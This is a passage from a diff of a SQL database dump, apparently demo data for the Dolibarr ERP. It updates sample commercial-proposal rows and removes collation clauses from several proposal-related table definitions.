01:46:18',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,710.00000000,0.00000000,0.00000000,0.00000000,710.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,710.00000000,0.00000000,710.00000000,NULL,NULL,NULL),(27,6,NULL,'2022-02-07 13:37:54','PR1702-0025',1,NULL,NULL,'','2017-02-16 01:46:18','2021-11-12','2021-11-27 12:00:00','2021-02-16 01:46:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,300.00000000,0.00000000,300.00000000,NULL,NULL,NULL),(28,19,NULL,'2022-02-07 13:37:54','PR1702-0026',1,NULL,NULL,'','2017-02-16 01:46:18','2021-07-30','2021-08-14 12:00:00','2021-02-16 01:46:18','2020-02-16 04:46:31','2021-02-16 04:46:31',2,NULL,2,12,12,2,0,NULL,NULL,0,440.00000000,0.00000000,0.00000000,0.00000000,440.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,440.00000000,0.00000000,440.00000000,NULL,NULL,NULL),(29,1,NULL,'2022-02-07 13:37:54','PR1702-0027',1,NULL,NULL,'','2017-02-16 01:46:18','2021-07-23','2021-08-07 12:00:00','2021-02-16 01:46:18','2021-12-20 20:50:23','2022-12-20 20:50:23',2,NULL,2,12,12,2,0,NULL,NULL,0,1000.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,'propale/PR1702-0027/PR1702-0027.pdf',NULL,NULL),(30,1,NULL,'2022-07-04 01:11:35','PR1702-0028',1,NULL,NULL,'','2017-02-16 01:46:18','2022-05-01','2022-05-16 12:00:00','2021-02-16 01:46:18','2019-02-16 04:46:42','2021-02-16 04:46:42',2,NULL,2,12,12,3,0,NULL,NULL,0,1200.00000000,0.00000000,0.00000000,0.00000000,1200.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1200.00000000,0.00000000,1200.00000000,NULL,NULL,NULL),(31,11,NULL,'2022-07-04 01:11:35','PR1702-0029',1,NULL,NULL,'','2017-02-16 01:46:18','2022-06-24','2021-07-09 12:00:00','2022-02-16 01:46:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,720.00000000,0.00000000,0.00000000,0.00000000,720.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,720.00000000,0.00000000,720.00000000,NULL,NULL,NULL),(32,19,NULL,'2022-02-07 13:37:54','PR1702-0030',1,NULL,NULL,'','2017-02-16 01:46:18','2021-11-12','2021-11-27 12:00:00','2021-02-16 01:46:18',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,608.00000000,0.00000000,0.00000000,0.00000000,608.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,608.00000000,0.00000000,608.00000000,NULL,NULL,NULL),(33,10,6,'2022-02-07 13:37:54','PR1909-0032',1,NULL,NULL,'','2019-09-27 17:07:40','2021-09-27','2021-10-12 12:00:00','2021-09-27 17:08:59',NULL,NULL,12,12,12,NULL,NULL,1,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,'This is a private note','This is a public note','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'propale/PR1909-0032/PR1909-0032.pdf',NULL,NULL),(34,10,6,'2022-02-07 13:37:54','PR1909-0033',1,NULL,NULL,'','2019-09-27 17:11:21','2021-09-27','2021-10-12 12:00:00','2021-09-27 17:13:13','2020-01-07 23:43:06','2022-01-07 23:43:06',12,12,12,12,12,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,NULL,NULL,NULL,NULL,'a & a
\r\nb < r','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,'propale/PR1909-0033/PR1909-0033.pdf',NULL,NULL),(35,10,NULL,'2022-02-07 13:37:54','(PROV35)',1,NULL,NULL,'','2019-09-27 17:53:44','2021-09-27','2021-10-12 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,5.00000000,0.00000000,5.00000000,'propale/(PROV35)/(PROV35).pdf',NULL,NULL),(36,1,NULL,'2022-02-07 13:37:54','PR2001-0034',1,NULL,NULL,'','2020-01-01 23:55:35','2022-01-01','2022-01-16 12:00:00','2022-01-19 14:24:22','2021-01-19 14:24:27','2022-01-19 14:24:27',12,NULL,12,12,12,2,0,NULL,NULL,0,4.00000000,0.24000000,0.00000000,0.00000000,4.24000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,4.00000000,0.24000000,4.24000000,'propale/PR2001-0034/PR2001-0034.pdf',NULL,NULL),(37,10,NULL,'2022-02-07 13:37:54','(PROV37)',1,NULL,NULL,'','2020-01-06 00:44:16','2022-01-05','2022-01-20 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,'propale/(PROV37)/(PROV37).pdf',NULL,NULL),(38,30,NULL,'2022-02-07 13:37:54','(PROV38)',1,NULL,NULL,'','2020-01-13 17:25:28','2022-01-13','2022-01-28 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'propale/(PROV38)/(PROV38).pdf',NULL,NULL); +INSERT INTO `llx_propal` VALUES (1,2,NULL,'2022-12-11 21:23:22','PR1007-0001',1,NULL,NULL,'','2012-07-09 01:33:49','2022-07-09','2021-07-24 12:00:00','2021-08-08 14:24:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,30.00000000,3.84000000,0.00000000,0.00000000,33.84000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,1,NULL,'2022-12-11 21:23:22','PR1007-0002',1,NULL,NULL,'','2012-07-10 02:11:44','2022-07-10','2021-07-25 12:00:00','2022-07-10 02:12:55','2020-07-20 15:23:12','2021-07-20 15:23:12',1,NULL,1,1,1,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,1,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,4,NULL,'2022-12-11 21:23:22','PR1007-0003',1,NULL,NULL,'','2012-07-18 11:35:11','2022-07-18','2022-08-02 12:00:00','2022-07-18 11:36:18','2020-07-20 15:21:15','2022-07-20 15:21:15',1,NULL,1,1,1,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(5,19,NULL,'2022-07-04 01:11:35','PR1302-0005',1,NULL,NULL,'','2015-02-17 15:39:56','2022-02-17','2022-03-04 12:00:00','2021-11-15 23:27:10',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(6,19,NULL,'2022-07-04 01:11:35','PR1302-0006',1,NULL,NULL,'','2015-02-17 15:40:12','2022-02-17','2022-03-04 12:00:00',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(7,19,NULL,'2022-07-04 01:11:35','PR1302-0007',1,NULL,NULL,'','2015-02-17 15:41:15','2022-02-17','2022-03-04 12:00:00','2021-01-29 21:49:33',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,400.00000000,0.00000000,400.00000000,NULL,NULL,NULL),(8,19,NULL,'2022-07-04 01:11:35','PR1302-0008',1,NULL,NULL,'','2015-02-17 15:43:39','2022-02-17','2022-03-04 12:00:00',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,1,NULL,0,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(10,7,4,'2022-12-11 21:23:22','PR1909-0031',1,NULL,NULL,'','2017-11-15 23:37:08','2022-11-15','2022-11-30 12:00:00','2022-09-27 16:54:30',NULL,NULL,12,NULL,12,NULL,NULL,1,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,1,NULL,3,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',NULL,NULL,1.00000000,10.00000000,0.00000000,10.00000000,'propale/PR1909-0031/PR1909-0031.pdf',NULL,NULL),(11,1,NULL,'2022-07-04 01:11:35','PR1702-0009',1,NULL,NULL,'','2017-02-16 01:44:58','2022-05-13','2022-05-28 12:00:00','2022-02-16 01:44:58',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,60.00000000,0.00000000,0.00000000,0.00000000,60.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,60.00000000,0.00000000,60.00000000,NULL,NULL,NULL),(12,7,NULL,'2022-07-04 01:11:35','PR1702-0010',1,NULL,NULL,'','2017-02-16 01:45:44','2022-06-24','2021-07-09 12:00:00','2022-02-16 01:45:44',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,832.00000000,0.00000000,0.00000000,0.00000000,832.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,832.00000000,0.00000000,832.00000000,NULL,NULL,NULL),(13,26,NULL,'2022-07-04 01:11:35','PR1702-0011',1,NULL,NULL,'','2017-02-16 01:46:15','2022-04-03','2021-04-18 12:00:00','2022-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,242.00000000,0.00000000,0.00000000,0.00000000,242.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,242.00000000,0.00000000,242.00000000,NULL,NULL,NULL),(14,3,NULL,'2022-07-04 01:11:35','PR1702-0012',1,NULL,NULL,'','2017-02-16 01:46:15','2022-06-19','2021-07-04 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,245.00000000,0.00000000,0.00000000,0.00000000,245.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,245.00000000,0.00000000,245.00000000,NULL,NULL,NULL),(15,26,NULL,'2022-07-04 01:11:35','PR1702-0013',1,NULL,NULL,'','2017-02-16 01:46:15','2022-05-01','2022-05-16 12:00:00','2021-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,940.00000000,0.00000000,0.00000000,0.00000000,940.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,940.00000000,0.00000000,940.00000000,NULL,NULL,NULL),(16,1,NULL,'2022-07-04 01:11:35','PR1702-0014',1,NULL,NULL,'','2017-02-16 01:46:15','2022-05-13','2022-05-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,125.00000000,0.00000000,0.00000000,0.00000000,125.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,125.00000000,0.00000000,125.00000000,NULL,NULL,NULL),(17,1,NULL,'2022-12-11 21:23:22','PR1702-0015',1,NULL,NULL,'','2017-02-16 01:46:15','2022-07-23','2022-08-07 12:00:00','2022-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,163.00000000,0.00000000,0.00000000,0.00000000,163.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,163.00000000,0.00000000,163.00000000,NULL,NULL,NULL),(18,26,NULL,'2022-07-04 01:11:35','PR1702-0016',1,NULL,NULL,'','2017-02-16 01:46:15','2022-02-13','2022-02-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,900.00000000,0.00000000,0.00000000,0.00000000,900.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,900.00000000,0.00000000,900.00000000,NULL,NULL,NULL),(19,12,NULL,'2022-07-04 01:11:35','PR1702-0017',1,NULL,NULL,'','2017-02-16 01:46:15','2022-03-30','2022-04-14 12:00:00','2022-02-16 01:46:15',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(20,26,NULL,'2022-12-11 21:23:22','PR1702-0018',1,NULL,NULL,'','2017-02-16 01:46:15','2022-11-13','2022-11-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,830.00000000,0.00000000,0.00000000,0.00000000,830.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,830.00000000,0.00000000,830.00000000,NULL,NULL,NULL),(21,1,NULL,'2022-12-11 21:23:22','PR1702-0019',1,NULL,NULL,'','2017-02-16 01:46:15','2022-09-23','2022-10-08 12:00:00','2022-02-16 04:47:09',NULL,NULL,1,NULL,12,NULL,NULL,1,0,NULL,NULL,0,89.00000000,0.00000000,0.00000000,0.00000000,89.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,89.00000000,0.00000000,89.00000000,NULL,NULL,NULL),(22,26,NULL,'2023-01-10 16:57:19','PR1702-0020',1,NULL,NULL,'','2017-02-16 01:46:15','2022-11-13','2022-11-28 12:00:00','2022-02-16 01:46:15',NULL,NULL,1,NULL,1,NULL,NULL,0,0,NULL,NULL,0,75.00000000,0.30000000,0.00000000,0.00000000,75.30000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,75.00000000,0.30000000,75.30000000,'propale/PR1702-0020/PR1702-0020.pdf',NULL,NULL),(23,12,NULL,'2022-07-04 01:11:35','PR1702-0021',1,NULL,NULL,'','2017-02-16 01:46:17','2022-04-03','2021-04-18 12:00:00','2021-02-17 16:07:18',NULL,NULL,2,NULL,12,NULL,NULL,1,0,NULL,NULL,0,715.00000000,0.00000000,0.00000000,0.00000000,715.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,715.00000000,0.00000000,715.00000000,NULL,NULL,NULL),(24,7,NULL,'2022-12-11 21:23:22','PR1702-0022',1,NULL,NULL,'','2017-02-16 01:46:17','2022-11-13','2022-11-28 12:00:00','2022-02-16 01:46:17',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,250.00000000,0.00000000,0.00000000,0.00000000,250.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,250.00000000,0.00000000,250.00000000,NULL,NULL,NULL),(25,3,NULL,'2022-12-11 21:23:22','PR1702-0023',1,NULL,NULL,'','2017-02-16 01:46:17','2022-07-09','2021-07-24 12:00:00','2022-02-16 01:46:17','2020-02-16 04:47:29','2022-02-16 04:47:29',1,NULL,1,12,12,4,0,NULL,NULL,0,1018.00000000,0.00000000,0.00000000,0.00000000,1018.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1018.00000000,0.00000000,1018.00000000,NULL,NULL,NULL),(26,1,NULL,'2022-07-04 01:11:35','PR1702-0024',1,NULL,NULL,'','2017-02-16 01:46:17','2022-04-03','2021-04-18 12:00:00','2021-02-16 01:46:18',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,710.00000000,0.00000000,0.00000000,0.00000000,710.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,710.00000000,0.00000000,710.00000000,NULL,NULL,NULL),(27,6,NULL,'2022-12-11 21:23:22','PR1702-0025',1,NULL,NULL,'','2017-02-16 01:46:18','2022-11-12','2022-11-27 12:00:00','2022-02-16 01:46:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,300.00000000,0.00000000,300.00000000,NULL,NULL,NULL),(28,19,NULL,'2022-12-11 21:23:22','PR1702-0026',1,NULL,NULL,'','2017-02-16 01:46:18','2022-07-30','2022-08-14 12:00:00','2022-02-16 01:46:18','2020-02-16 04:46:31','2022-02-16 04:46:31',2,NULL,2,12,12,2,0,NULL,NULL,0,440.00000000,0.00000000,0.00000000,0.00000000,440.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,440.00000000,0.00000000,440.00000000,NULL,NULL,NULL),(29,1,NULL,'2022-12-11 21:23:22','PR1702-0027',1,NULL,NULL,'','2017-02-16 01:46:18','2022-07-23','2022-08-07 12:00:00','2022-02-16 01:46:18','2021-12-20 20:50:23','2022-12-20 20:50:23',2,NULL,2,12,12,2,0,NULL,NULL,0,1000.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,'propale/PR1702-0027/PR1702-0027.pdf',NULL,NULL),(30,1,NULL,'2022-07-04 01:11:35','PR1702-0028',1,NULL,NULL,'','2017-02-16 01:46:18','2022-05-01','2022-05-16 12:00:00','2021-02-16 01:46:18','2019-02-16 04:46:42','2021-02-16 04:46:42',2,NULL,2,12,12,3,0,NULL,NULL,0,1200.00000000,0.00000000,0.00000000,0.00000000,1200.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,1200.00000000,0.00000000,1200.00000000,NULL,NULL,NULL),(31,11,NULL,'2022-07-04 01:11:35','PR1702-0029',1,NULL,NULL,'','2017-02-16 01:46:18','2022-06-24','2021-07-09 12:00:00','2022-02-16 01:46:18',NULL,NULL,1,NULL,1,NULL,NULL,1,0,NULL,NULL,0,720.00000000,0.00000000,0.00000000,0.00000000,720.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,720.00000000,0.00000000,720.00000000,NULL,NULL,NULL),(32,19,NULL,'2022-12-11 21:23:22','PR1702-0030',1,NULL,NULL,'','2017-02-16 01:46:18','2022-11-12','2022-11-27 12:00:00','2022-02-16 01:46:18',NULL,NULL,2,NULL,2,NULL,NULL,1,0,NULL,NULL,0,608.00000000,0.00000000,0.00000000,0.00000000,608.00000000,NULL,NULL,3,NULL,3,'','','',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',0,'EUR',1.00000000,608.00000000,0.00000000,608.00000000,NULL,NULL,NULL),(33,10,6,'2022-12-11 21:23:22','PR1909-0032',1,NULL,NULL,'','2019-09-27 17:07:40','2022-09-27','2022-10-12 12:00:00','2022-09-27 17:08:59',NULL,NULL,12,12,12,NULL,NULL,1,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,'This is a private note','This is a public note','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'propale/PR1909-0032/PR1909-0032.pdf',NULL,NULL),(34,10,6,'2022-12-11 21:23:22','PR1909-0033',1,NULL,NULL,'','2019-09-27 17:11:21','2022-09-27','2022-10-12 12:00:00','2022-09-27 17:13:13','2020-01-07 23:43:06','2022-01-07 23:43:06',12,12,12,12,12,2,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,NULL,NULL,NULL,NULL,'a & a
\r\nb < r','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,'propale/PR1909-0033/PR1909-0033.pdf',NULL,NULL),(35,10,NULL,'2022-12-11 21:23:22','(PROV35)',1,NULL,NULL,'','2019-09-27 17:53:44','2022-09-27','2022-10-12 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,5.00000000,0.00000000,5.00000000,'propale/(PROV35)/(PROV35).pdf',NULL,NULL),(36,1,10,'2023-03-01 22:50:24','PR2001-0034',1,NULL,NULL,'','2020-01-01 23:55:35','2022-01-01','2022-01-16 12:00:00','2023-03-01 18:12:41','2023-03-01 19:50:24',NULL,12,NULL,12,12,NULL,2,0,NULL,NULL,0,4.00000000,0.24000000,0.00000000,0.00000000,4.24000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,2,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,4.00000000,0.24000000,4.24000000,'propale/PR2001-0034/PR2001-0034_signed-20230301195024.pdf','::1',NULL),(37,10,NULL,'2022-02-07 13:37:54','(PROV37)',1,NULL,NULL,'','2020-01-06 00:44:16','2022-01-05','2022-01-20 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,10.00000000,0.00000000,10.00000000,'propale/(PROV37)/(PROV37).pdf',NULL,NULL),(38,30,NULL,'2022-02-07 13:37:54','(PROV38)',1,NULL,NULL,'','2020-01-13 17:25:28','2022-01-13','2022-01-28 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'propale/(PROV38)/(PROV38).pdf',NULL,NULL),(39,1,NULL,'2023-03-11 19:20:20','(PROV39)',1,'',NULL,'','2023-03-11 15:30:02','2023-03-11','2023-03-26 12:00:00',NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,NULL,NULL,0,41.97000000,3.63000000,1.96000000,1.96000000,49.52000000,NULL,NULL,NULL,NULL,NULL,'','','azur',NULL,NULL,NULL,0,NULL,0,NULL,NULL,0,'',1,'EUR',1.00000000,41.97000000,3.63000000,49.52000000,'propale/(PROV39)/(PROV39).pdf',NULL,NULL); /*!40000 ALTER TABLE `llx_propal` ENABLE KEYS */; UNLOCK TABLES; @@ -11486,7 +10695,7 @@ CREATE TABLE `llx_propal_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_propal_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -11511,13 +10720,13 @@ DROP TABLE IF EXISTS `llx_propal_merge_pdf_product`; CREATE TABLE `llx_propal_merge_pdf_product` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_product` int(11) NOT NULL, - `file_name` varchar(200) COLLATE utf8mb3_unicode_ci NOT NULL, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `file_name` varchar(200) NOT NULL, + `lang` varchar(5) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_mod` int(11) NOT NULL, `datec` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -11543,15 +10752,15 @@ CREATE TABLE `llx_propaldet` ( `fk_propal` int(11) DEFAULT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `fk_remise_except` int(11) DEFAULT NULL, `tva_tx` double(6,3) DEFAULT 0.000, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -11572,7 +10781,7 @@ CREATE TABLE `llx_propaldet` ( `rang` int(11) DEFAULT 0, `fk_unit` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -11583,7 +10792,7 @@ CREATE TABLE `llx_propaldet` ( KEY `fk_propaldet_fk_unit` (`fk_unit`), CONSTRAINT `fk_propaldet_fk_propal` FOREIGN KEY (`fk_propal`) REFERENCES `llx_propal` (`rowid`), CONSTRAINT `fk_propaldet_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB 